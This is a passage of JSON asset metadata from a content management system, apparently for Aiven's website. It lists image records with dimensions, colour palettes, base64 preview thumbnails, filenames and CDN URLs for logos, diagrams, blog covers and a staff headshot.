image/jpeg","originalFilename":"Aiven_solutions_meta_preview.jpeg","path":"images/sczeoy4w/production/3d1c9b48b9bf969f2335c4ea43b69fb08a824163-1200x630.jpg","sha1hash":"3d1c9b48b9bf969f2335c4ea43b69fb08a824163","size":173487,"uploadId":"OHW5TDo8VAUmkTSEbSHOl8HuM37zbXV2","url":"https://cdn.sanity.io/images/sczeoy4w/production/3d1c9b48b9bf969f2335c4ea43b69fb08a824163-1200x630.jpg"} {"_createdAt":"2022-07-20T13:50:19Z","_id":"image-935a6a6b6bb5a43e00818e1f8024eec09f89da2c-893x866-png","_rev":"qSZxM9b8jt7q1sKE6ptfaQ","_type":"sanity.imageAsset","_updatedAt":"2022-07-20T13:50:19Z","assetId":"935a6a6b6bb5a43e00818e1f8024eec09f89da2c","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0311778290993072,"height":866,"width":893},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFdElEQVQ4jUWUeVAUdBTHH4ehJUIkd0JCXMoue7Ene9/LHiwLiMKIgFxyiK4riFdaaWODgpOK0ogIFQrJoYmgYhHZTCmIoJW3M2STmk6ayEr7e81upW/m99eb+cznvfebLwAAkN4QwIFgwDPB8Ozap3D7TwQcWQJk3BZMxtakkzGbGkervPG7PEDsBMhEgFqEC4ICeFvfAWA4CzP0p+BlkZPBMNkVBFM9QWA/Fec22R3k9aRz3hvTI+Ucx+U175NLK4odXydFoS3C366TRt5RmCI/V5XNBhMCBgOEJXcAlCK46fteAfHU/y9sJvYGJOCZCDWO5ufjuLUBvzV/6GiMspGS+Gq7RlR3XZH68QGlVbFQ2/a6n/wMNMjXAqRehShtOwBZ6wbT3YEw0RoAv7cHwlR3SNBEi3/p6P7wfVfbTQ0PTy5rs+/lHUFb9EVcQr9L1MKHE3LTRLu8fE+OahcFLOfdMRKAqm2EcF0XAFYDkP4Q4Ie6u2zvHg6MP1Iz94Btceh4ZRZz/JNC7pXejOgbPxmj/rqvS8DnCj4+kWrIj+LcsVrp5qIkVaufNXMINiVlQZxmAwCuAyDH/AHRH/BxmOf3O/xUG7P8B6Tsd54zE+LscmasPTMhYtpKm++oY8aQbi6DjAileEGY/vSQuOJormKHANK6PEG5ByL16BwZ4Hh/HAzrwR0/8Jh/rnxWTZna/xabFo3x8VSkUilIo8QjK34BChfEEjOVQlZxuGQ7X0nWCTNuWyTLPuLLU7lqufhNpTLD3QXE3QBY5e5jt0H26ewZgzn8gEkaJY4k0GiEyWQSDodD2BwOoTMYSKfTkctkEUkiG+VsgT2JK74uEAgPSsRClUqh9AKsAsA2AHzPw/dBORQfNnldNTJCCZVCIXQ6nbDZbCIWi4lUIkGBQIB8Pp/w+HzCZLEIjU4nDAaDsNmcK/wkUb5IoZ8FdisAIhPwIHh2W9xERVyf4wJq5BSLxUIul0ucAIlEQqRSKYpEIifYBXf2aDQaYdDoKEgU3pIlZVTQNHXeYKL4QsXGHW74aBQoobPjF0aEtDBo1GcikQgVCgVRKBSoVCqJXC53QolMJnMZO9fgNOTR6JiTKH+8PqnoYJqygQ1zfHyhv7/fs76+3pfBYGhiYmJ6ExMT7VKZDHXJySTFbCYpJhPqdDqi1WpRq9GgE+w0ZyayiIJOJ1tYasdewcoxk7KxxvX3urq6Z9TV1QdbLBYDj8drFPB5Iyqp+IFJq5o2Gw2oNxiIWqPBZL0BzeZUotfrneaEL+ATFYuHNsGi6XXKzSMcXcsmF7Cp6ZBbbe3OmSuKi0ONKWZOqk6ZbTXxmraa2ffWGvgkXysmaSoZMWk1xGw0EKPRgCqV0nkkh0qU9KJsceavthLbbmZmE8sFHBwchPb2DkC8A809Q+77K9NmDxfGaH7OizgxnB0z2ZdOx2Yjj2zTikmhWkOSVYa/pTLltFjIm1yeRr9/dDtr6GILL7ttn3ymCzgwcA5aWlpA7f1vWOyqrgQs9w3AwsDVjtx5vzzPiiL30ph4LkWD281Lp3MzC35bnrf42qrlmpsHalhXbrTGtmFfhMheD26Qk5MLiAgenq9BiW0T9FVoALTNcGlpuIcjL5A1nRPWfH9Jwh9DluSney0rbm4pqPyhYVtRz9DRsmPDHXmd459JWu59Sdvw6AQ7GvFVJLoKS73hRV4o4NIwwBIAzHtrzkQ21dy5yHxoVUp1qz59p3XrhqJFt75KK3aMrtyNoxXrp84KjU963k18fII550XXfyO+DNpSHyAF/kBy5gHEIqAVoC4jz09nrmWFG9uY3pbuuRe/EHjhpWIWuWytclxeneI4b/TFNvDAb6hueDoI/gE0KnpZqmzVgwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304851","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c94","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f86f06","foreground":"#fff","population":0.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb474","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9e484","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b5399","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f86f06","foreground":"#fff","population":0.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-crab-cli.png","path":"images/sczeoy4w/production/935a6a6b6bb5a43e00818e1f8024eec09f89da2c-893x866.png","sha1hash":"935a6a6b6bb5a43e00818e1f8024eec09f89da2c","size":53441,"uploadId":"igGaATHbxcqlN40oH5SmyHMimTkwaCQw","url":"https://cdn.sanity.io/images/sczeoy4w/production/935a6a6b6bb5a43e00818e1f8024eec09f89da2c-893x866.png"} {"_createdAt":"2024-02-01T04:47:13Z","_id":"image-ec74766c4ee91a2ca614b0fad2aaae1446cd6734-1200x628-png","_rev":"ZLvKaZvfbZlWBlGcpPOM8E","_type":"sanity.imageAsset","_updatedAt":"2024-02-01T04:47:13Z","assetId":"ec74766c4ee91a2ca614b0fad2aaae1446cd6734","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M;Pybh|GFebH#+xGWBjsjZf5s:Rjj]j[ax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACj0lEQVQokU3PS09UBwDF8YuoQRRDLIjjI6iMaNHyVHTUwQchxgfUSLHCAI4Oo4PDcAVmBi7z5DLOIEJIG6MYbFprXLjpojFd9Rs0YUXStZv2A3Tj5p5/Q2yji5Oz++UcQ31bUegAMr9EZi2aqEPRI+hhNYpUIbMKjbtQbC/EXXyY2sta/ho/vXxJ/od3FJ6/ZenVO5ZXfuS3xRCGekvRvX1oxI1GDiLTjcwDaMSFwhUo8gUa24miLojt4h/rIH/kr/NqeYnc05/JFL5nZuEFicJ3zMbDGBooR2YdmjyBrPW0IKsJTR1D08dQog5lGsBuQnY9f6eb+D3Zzpu5IPOzFomYSS4RJW3FiARvY2hwBxpvQNMelPSgzFlktyH7DMqtx4Nmj0PqCI5VzZ+Rap4NHuZR4CQx/wWCNy9gDV1jJtRN+NaV/xceRfEWNNmMpppRogUlGlGiHqXqkeWGyHac4Y2s9m9hrN3FVa+bjtM1nGutoaejkeDXXm5d8mLIX4mSXvSkGz3uQlYzClWiYBm6X4aGy1B4GzzYjDNczKqvhNHzLjo8tbS1HuZ0s5sbFxu523mWno4zGArsRvlOtBJGy0ModQr5S5HPQIMGuluEwqUQ3YETLWctWM7CN/uJ+rwM9V7m287zjPiuMOG/zkBXO4bjK8Mxj+JYno+XH+xBA5tQ/39goBhFK5Bdg2ZreG8d4peJNp5l75NOxhmLhLCiozw0I9zu78Vwejbh+CtxgrtRoAINbkG+os/ADR/BuTq0WM9f+VZ+zQ2w9NgmbedIplLM5PLE0zbjkxaG012Ec3Mz6i1BfetdjPqMT+CdIjS6DeUOoYWveG+f5HUmQCY7w3QqSyabJZefwy7MU5hf5F+aq+kcSFJxwgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#664d3e","foreground":"#fff","population":2.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#802904","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":10.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3b8ca","foreground":"#000","population":1.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6be80","foreground":"#000","population":1.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#936f51","foreground":"#fff","population":3.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":10.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover.png","path":"images/sczeoy4w/production/ec74766c4ee91a2ca614b0fad2aaae1446cd6734-1200x628.png","sha1hash":"ec74766c4ee91a2ca614b0fad2aaae1446cd6734","size":609804,"uploadId":"OAbROc08jMSkgymHUpChxr1r9CCvlSSu","url":"https://cdn.sanity.io/images/sczeoy4w/production/ec74766c4ee91a2ca614b0fad2aaae1446cd6734-1200x628.png"} {"_createdAt":"2024-06-10T12:25:45Z","_id":"image-44ae0fda1aa44f67ac531abdf524857fee10be76-984x570-svg","_rev":"KMRFO4K4jxsbYzquYobCr1","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T12:25:45Z","assetId":"44ae0fda1aa44f67ac531abdf524857fee10be76","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEKKj4?bQ+%20$F|oz_Nt8^*00V@IWM{%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7263157894736842,"height":570,"width":984},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAADyklEQVQokSWSbUwTZwCAXwZkzpmFuA+IbmTJmGZZXGJkQTBmZBhNHAyNI+GHGNgmMDZXipkDBAa4DYc4DKDgQERmMMjCNBEcmLUFIhQY0pZ+3Efv472PtnftXa+9azUb45bpj+fP8+P59YCKLy9ty8k1frwrs9KwK7Py8/15p/dUGbo3vZFRAnRdB7HoP0Df0IG+roO4tv7U/U/lqa6XDxc2HMrJNX6V/UF1xaGC+pym1qEXgMny6MDgjT+GO7vHnV1X7jwcGTXVLFhdqQAAgODCZshFXuH4aCrLR19jOCUFwYUkXdcTzDO23aO/zfT2DUysXb02uTw2Pvud3YGng4Ag5dO0fxzFIIN7WQfLiU0hKfw6CeVkyKmZJKsZMDraisFoE81px1mflu7z+RMFUc5iWGEIw1gEwzk7x4kXZFnZATRNy4iGlTJZFC8qknRWU7VcLaZtIWH4Rdb/5ISL0qwWRyg455R5lInd9otPsiUBPhePP07TomqBEgxVKZJUrqlanhaLbQU/to+8WlvXe7C58arx2zOXT5wy9rxTXNqaxPvVLRitVszYgt7+aUIfNsH1RXfYxHJqgRQQtlvMK282NPZnf1HedqSi/Hy+oabn3YGh+5vA3XsP9128NNbTfO6GtfWHXycHBicMHif+/poN3TM8Mnemo+9P7zcdk3rtz/f/7r5mnrVYHPUMzde5XUTLzZEHv5xvHzH/1HFrqn9wwjhvdW4DkPEfsTu8k/PWNWFp2YWiCHWdg3zj6l+u2prTl9sPH21eLSxui3xU9L1YcKxlauj6RA+BMxMM9D1AEGp+ccnpW1p2QwSF3YIo7wSxePw9TY2Wh0PBc9GwXK8qSpnIB0rsj9ylDY0D1SWfXrh9sqprvrS801xc0tbV1zv+GY5SXwd8QrWqKMZwUGwJS6GmWCx2LB5/nAqUSOT5CINvjdgs2xWv822B4/f5GV8exMnsBaunzDSH3psyI2vTZmTFNItcWVxwHmC9VDYH+YMChFmKy/pWxLOUFpHEl8JaPBHoG9qzWXeARHF1PoPGqZMkDmt5gvwEUkK1B5dWVp2CancHQygh/w5xWAQx4jiB0WdpD14UstxJ0wF41ghRAPyr6yBuvgX0seZECXWmMQT8kPIyhZyX3EsSvnw3JnTaXNxdh9s/iuBiHYlSOQxO7idxeBRi5F7ZsZii3zQkREOhp1HAUQTQdS/YIJaBJvgS5ICQJAWEZJaik1GMTXG6qR2rdk+WbQ3b7fLAdASlN4sclxTyi8lB3pekcDAB6DqYwyXALEyD/wCVeofsjmPb8gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32355b","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a226c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c7093","foreground":"#fff","population":0.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7b1cd","foreground":"#000","population":0.65,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74c4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7093","foreground":"#fff","population":0.81,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2489c6","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Semantic Product Search.svg","path":"images/sczeoy4w/production/44ae0fda1aa44f67ac531abdf524857fee10be76-984x570.svg","sha1hash":"44ae0fda1aa44f67ac531abdf524857fee10be76","size":122418,"uploadId":"Tdm2fZoWOhMRyPLPxF5pE1Rg9mE0guJk","url":"https://cdn.sanity.io/images/sczeoy4w/production/44ae0fda1aa44f67ac531abdf524857fee10be76-984x570.svg"} {"_createdAt":"2022-12-07T09:16:18Z","_id":"image-502d2a62fb2b0ece34dfe306bac3b4db4d4f5432-439x437-png","_rev":"LoIDMXrOVwNddwV7RAJeT4","_type":"sanity.imageAsset","_updatedAt":"2022-12-07T09:16:54Z","altText":"Marion Nehring, Developer Relations Manager","assetId":"502d2a62fb2b0ece34dfe306bac3b4db4d4f5432","description":"Marion Nehring\nDeveloper Relations Manager\nMarketing, Germany","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0045766590389016,"height":437,"width":439},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEz0lEQVQ4jQHEBDv7APbctPbYp/XcsvPhw/Pixfbguffdr/bfuPPhxfHjyPHjyfDhyO/gx+7gx+3exurbw+fYwOXWvOPVu+bawgDtuGzwslP1v2r00p3x0qDvwHHxuFb1xHDy1KTt273s3MDr27/q2r7p2b7o2Lzl1bni0rbgz7HezrDh07gA3p9P4pgx8aU09L1t77104qNE4pss8Ko48MN76tSy6di96Ne759a65tW55NS44tK14M+y3c2u3Myt39G2AOOlWOGYPOeYMemuZOe0cOChSeCZN+WcMuW0bebPr+fWvOXVueTUuOLTt+HRteDQs97NsNvLrNrKrd7QtgDgpV7dlD3ckj7gqm7hsXfen0zbkzjUlETZqnDmxpnnz6zgz7Pdz7TczrLbzLDayq7YyKvWxqjWxqjazLIA26Nl3JI84ZEz66JF66RI4pc22Y8005NL259V56xa5Ll/2san18mv18iu1ces08Sp0cKl0MCi0MCj1cetAPKlRfGVIeuPGOKPJuGRKOqSGu+VGOuXJ+GSLdqQMdegWte7ldXFq9LEqs/Apsy8ocu7nsq6nMu7ntLDqQD+oy38lBDtjBPVijTUjDjqkRj7lQX7lgfukBPbiybYlUHfr3HXwJ7Lu6LArI+6ooK8pYXBr4/Ht5jPwaYA/qEr/ZMP948L7ZEf7JIi9pIO/ZMD/pMC+ZIH65Ec4JIv3aBS0bKJvqaKrotqontXnHpWrZNvwa+NzL+iAPeeMfuREP2OA/2QBv2RB/2RA/uQBPaOCPGNDueMHdiMMciVV7uffq6KbrSAXqhzUolePZJxTbWfe8u8nQDpmDvwjBb6iwP9jgP9jgP6jgTwigzmhxThhhrZhCTSiTTEmWOvlnyke2DBgmS7e2GLWT99WTiki2fJuJgA4pZA24cn4ocb6IoY54oX4Igb1oMk24Uf5okW4IYczYo7v5txrpV7pXlcuXxgtXZfiVZAcEsulHpXxLOSAM6ZXruLV7OKW7WLWbOKV7CJW7GIWsOIQ+GKIOiLGcuRTbihhq6Ue6d2WLR0W7NxW45YQnBILI1xTsCujAC3ppavoZOro5qoopqmoJinoJepn5KzlHHPijrViTDCmmq9rJetk3eVaEufZE2nZlKNVT50SyyOcUq8qocAvrq2u7exvbmyvbmxvLewu7att7Gns6KMso5jrYtisaCJwLGasZVziGBAhFM9kllFhFI3flYvl3lOuaWDAMXCvMC9tsC7tMG8s8G7sb64rbu1qbOsn6WdkKOcj7GolLyti7aabpVtRYBROIpUPo5cO5RqOpt8TqqYdgDDwLy+u7a9urS9urO9ubC8t627taq5tKm0r6Wxq5uxqIqzpXqzm2uje1CSXT+UWD+aZUGUbj+JcUeQg2IAvry4uLaxuLWwuLavubWtubSquLGmuLKlt7Cgr6iQp556qZ5yp5dpoX5WrHBOrGhJlmJAfGA5dmdChHtcAL68uba0sLSzrrWzrrWyrLaxqbWupbSuoq+pmKWfhJ+YdqeedqabcaWLZcOLZ8aJZZl0UXdoRXpwT46GaQDIx8S/vry9vLm9vLe8ubS7uLG8tq65taqyrZ2opI6koIWuqIi0rYm3pYPSqojXroqsmHiPhmiTjG+ln4VBi+rLxjoB8wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#71684a","foreground":"#fff","population":0.99,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#754426","foreground":"#fff","population":2.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#986d53","foreground":"#fff","population":6.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c1a9","foreground":"#000","population":5.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8c092","foreground":"#000","population":0.81,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986d53","foreground":"#fff","population":6.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9404","foreground":"#000","population":6.62,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"marion.png","path":"images/sczeoy4w/production/502d2a62fb2b0ece34dfe306bac3b4db4d4f5432-439x437.png","sha1hash":"502d2a62fb2b0ece34dfe306bac3b4db4d4f5432","size":338442,"title":"Marion Nehring","uploadId":"JByiFPQz8H9yVj4nwhrw0DznWufjv9Mr","url":"https://cdn.sanity.io/images/sczeoy4w/production/502d2a62fb2b0ece34dfe306bac3b4db4d4f5432-439x437.png"} {"_createdAt":"2022-08-29T14:07:06Z","_id":"image-2657342a8d1659254da94b4090706b7ca57b3b00-172x29-svg","_rev":"KtmMmNTIro7hjsGNsflLOE","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T14:07:47Z","altText":"Digital Ocean logo","assetId":"2657342a8d1659254da94b4090706b7ca57b3b00","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"4FRysg~qM{?bxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.931034482758621,"height":29,"width":172},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAiklEQVQImS3OvWpCURBF4fsSmtgJQiDprEQFyxQhEKL4i5dAAjEELITb6qPvTw6cbjGzZ81ucMMVFyzwkmSGMYYY4bnyEyaYFk7ygB76eMSgwTf2+MEb5lglOdZ5m6St/IVD2eMD71hik2SHdZOkBP9rw9faoITLcZekq09/8YctPqu0yE84V8fxDv/PxVLElluQAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.54,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-digital-ocean-white.svg","path":"images/sczeoy4w/production/2657342a8d1659254da94b4090706b7ca57b3b00-172x29.svg","sha1hash":"2657342a8d1659254da94b4090706b7ca57b3b00","size":5192,"title":null,"uploadId":"8PtM2ZsCp72xkW9Mvs0n1eYVT8Xe59d3","url":"https://cdn.sanity.io/images/sczeoy4w/production/2657342a8d1659254da94b4090706b7ca57b3b00-172x29.svg"} {"_createdAt":"2022-09-13T14:41:33Z","_id":"image-251fe747cba2c597ba0fcfba2955cce243edd581-1630x670-png","_rev":"gO4PimG2K28q9ZOw6N227V","_type":"sanity.imageAsset","_updatedAt":"2023-04-12T07:36:37Z","altText":"Aiven on Google Cloud architecture","assetId":"251fe747cba2c597ba0fcfba2955cce243edd581","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTIo|nRk0}Shv~-VAZxbNdog}aS#EzS#sC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4328358208955225,"height":670,"width":1630},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACk0lEQVQokQGIAnf9AIF9pw6NgHsNfHJnDVtlaAqkY2gO32BmLuVfZlHlX2ZY5V9mV+VfZlfqXGRT9FVdSftQWUX6UFo69VNdGeNfZRnkXmRD7FlfVPVTW0zvU146AJF7lB2Uf3wfg3FtG2BjaBWfY2Ma7V9dRvhdXHj3XVuD911bgfZcW4L4XFqA+ltZfPxaWXz7Wllo9FpaLfFcWSb2Wldj+FlWhfpZV4P0WFtkAJZ6jg2UfoEPh3ByDWFiaQmmZWIN8WJZJvlgV0LvX1ZN5FtTT+NaUk/nW1NO7F1VS+ldVU/eWVJFxFROItBZURnqXVM75lpRUulaUlHpW1g8AIZ7gQD/AAAA/zEFAP86OwDGc18A+W1UA91rWAiPV00RaEM9GmM+Nxp0QjoUkFJIEHtQSRdgQj0bSTg1E1pEQAuEWE8PakdBG2VAOhp0RkAPAPpNIgD/QT8F/z1ICf85TQQAlv8A/wAAAADi/wEsX2QKJT5BExozNhMINjoKAFRfBBJFSgkbMjQOJC0uCz5FRwY/UFMIKjU3EiEsLhEVKCsHAP9kGQP9TzIf/kc9MP9ARRTiW2sE3mNoE9pjaiXNZGouv2BkMsFdYjTNXmQt4GBlJ+NYYCTST1kWnlNZBn+FgwN2aGcFRjw7CD0yMQdLNjUCAGg/JxC5Sis7x0UzUK08OCipS04S71tbPPJaXG3wXF138F9eevJiYoPzXmF89l1devlbXXX3WF5C4WJpDnO3sgKigIICSUlJACoqKgBHR0cAADcyLidPNy1IWDcvU0QyMDp7REEk8F5WUPhdVoz4XVaX+GJZmvlmX6f5Yl2f+WFZovlgW6D1Xl1d4WJlEwD//wDsZWUAGRkZACEhIQAwMDAAGZ/3IokcXzEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#694130","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e328a","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f68486","foreground":"#000","population":0.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e0a0c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f68486","foreground":"#000","population":0.54,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a2585a","foreground":"#fff","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2481c","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"diagram-gcp-aiven.png","path":"images/sczeoy4w/production/251fe747cba2c597ba0fcfba2955cce243edd581-1630x670.png","sha1hash":"251fe747cba2c597ba0fcfba2955cce243edd581","size":53406,"title":null,"uploadId":"XxaOgbVV50EqOQ4fpylcNNVv3x0Ep6KN","url":"https://cdn.sanity.io/images/sczeoy4w/production/251fe747cba2c597ba0fcfba2955cce243edd581-1630x670.png"} {"_createdAt":"2022-06-25T01:00:48Z","_id":"image-805304e0763d2c3e12e488227616b6832339032f-1567x844-png","_rev":"0HOthdQkSgJdYc0CABY0BD","_type":"sanity.imageAsset","_updatedAt":"2022-06-25T01:00:48Z","assetId":"805304e0763d2c3e12e488227616b6832339032f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNQ9vI?vIWXS-VPEITt6t6bH%KI9X9xGWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADBUlEQVQokR3LWXPaZhSAYf3P3vYX9K7TSTPpOM3IuYnTJW1qMGlSJ95qu206DWaxAWPjYMBgYZCQPgmh5VuEEJISxy7nZJKLZ96rVzJM7yt1ZK+pmr2j6ZMtdWRvD1Rr+2pobuvE2/Ro9JwHaZYHaYaLKMt58KkZJpIsFWnG9tM100tfOjR5xkR8R+opo0z1+K1aLNWmR9UGP6o2RKFU++yk0eb9AaGG6fm2I3zGhB8wz+N86lOR+BOaeIqZeq1RKgZWrLt+tCMNtfFm/bQVFIpVLB/W8bByisXSMRbLx3hUbeBJo43nbQWH2hhdlyJzHWQeRcpmaDoRnmsx1voxtrUosp2gIDle+EonHhuo1qdpoY5sGGrjzwaqBYMhAVUzwSATUFUduq0WdJrNxUX7YtFTRnDe9xdnfYH9EZvSiZeXmEg2mEg4EwkyEQMTMXIxB84j5HwGnE2BswAc24FOuwOFfB7+3N6C3FoWNtbX4d/Xb6B2WEft5CycNU7zEhfxBhcxFyJGIeYQiBkGIsQpn2LIBc44x5BR9J0J6iMNe90LPCyXcPW3p7j83R18+uAb2FmRsfb4UWg9enwgCTHbCETIAz7FKReLkHEIGYUZ8yGiLsypA5FvA7MJWIYOpknAMAyoVCrwYvUJ7D95AMVflnH/+6XZ3tf3ilLI2EZIKQupjzPqLSLqwJxOIKY2JL4FiW9C6hkgSB+U8xM4q1fhot2EVrMBlXIBzqulRbNcwJfZP8KluyslaW6NNqdEFdxUMZzomHgEU9/Ad56O7z0N33sqXrsDTMeX6Cp17J8cYKfyN9b/W8d/tnK4u7uLW3tvMPtiL8rlXhWlZNj+MVCaLfeqZQmiGKmrkmtPJdfugHxwr8iNq5Ab55LcOl1yM26TVG+Q4PKA9PIZ8vsPS+T+/YfGyk856/Xefldvlp9L70jvi7l+8W1odJfjsSJfu1fyB/dKvnEV+dbpybdOV/7f6ciLSVuGSUtGpyWjfSb7nby8v/5M/vXnVfngr91lv1e5txi//fIjkpzoaYC5PJ4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#403936","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d295e","foreground":"#fff","population":1.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7bdc5","foreground":"#000","population":2.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7bdc5","foreground":"#000","population":2.89,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cd1fb","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b06c8c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e09036","foreground":"#000","population":0.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Happy_Together_blog.png","path":"images/sczeoy4w/production/805304e0763d2c3e12e488227616b6832339032f-1567x844.png","sha1hash